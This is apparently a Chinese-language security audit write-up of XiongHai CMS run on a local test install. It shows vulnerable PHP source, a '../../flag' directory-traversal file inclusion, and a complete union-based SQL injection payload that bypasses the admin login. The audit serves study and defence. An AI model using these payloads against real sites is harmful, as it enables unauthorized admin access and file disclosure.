环境安装
来审一下这个简单cms学习一下,熊海cms直接网上找就可以
采用phpstudy进行配置,然后要提前建立一个数据,他不会自动帮你建
安装好后首页就是这样的
开始审计
目录结构
admin --管理后台文件夹 css --存放css的文件夹 files --存放页面的文件夹 images --存放图片的文件夹 inc --存放网站配置文件的文件夹 install --网站进行安装的文件夹 seacmseditor --编辑器文件夹 template --模板文件夹 upload --上传功能文件夹 index.php --网站首页
|
先直接放进seay里面扫一下
看起来还蛮少的,那就直接针对每个漏洞类型去看看
文件包含漏洞
第一处文件包含
根目录下的index.php源码:
<?php
error_reporting(0); $file=addslashes($_GET['r']); $action=$file==''?'index':$file; include('files/'.$action.'.php'); ?>
|
很明显的文件包含,存在目录穿越漏洞,我在网站上级目录放了flag.php用来测试,r为空就会包含files目录下的index,给r传一个../../flag即可目录穿越
能配合文件上传就能够发挥大用处,目前暂时读读文件只能
addslashes是用来转义一些特殊字符的
第二处文件包含
第二处在/admin/index.php处
<?php
error_reporting(0); $file=addslashes($_GET['r']); $action=$file==''?'index':$file; include('files/'.$action.'.php'); ?>
|
该页面默认会加上login参数
一样的目录穿越漏洞
SQL注入
admin/files下面的页面就报了很多sql的漏洞
但是我想先去看一下login页面,因为很多漏洞都是后台页面,登陆都绕过不过去怎么进后台利用呢,而且这个cms应该没有预编译习惯,login页面的sql应该也是有漏洞,我就去看了一下,还真有
admin/files/login.php
<?php ob_start(); require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox'];
if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ $passwords=$users['password']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }
if ($checkbox==1){ setcookie('user',$user,time()+3600*24*30,'/'); }else{ setcookie('user',$user,0,'/'); } echo "<script>this.location='?r=index'</script>"; exit; } exit; ob_end_flush(); }
|
可以看这里没有转义那就肯定有sql注入了,可以看一下他的校验逻辑,查询指定用户然后从数据库中获取他的密码,与我们的密码md5之后进行比较,若相等则登陆成功
那这里我就采用了联合注入,然后输入密码为1,查询的值为1的md5,最终成功绕过
不过字段数需要尝试一下,这里试出来是有8个
最终payload如下:
user=-1' union select 1,1,1,"c4ca4238a0b923820dcc509a6f75849b",1,1,1,1#&password=1&checkbox=1&login=yes
|
而且身份竟然是admin,这里还没看出为什么突然就admin了,源码好像没看到相关的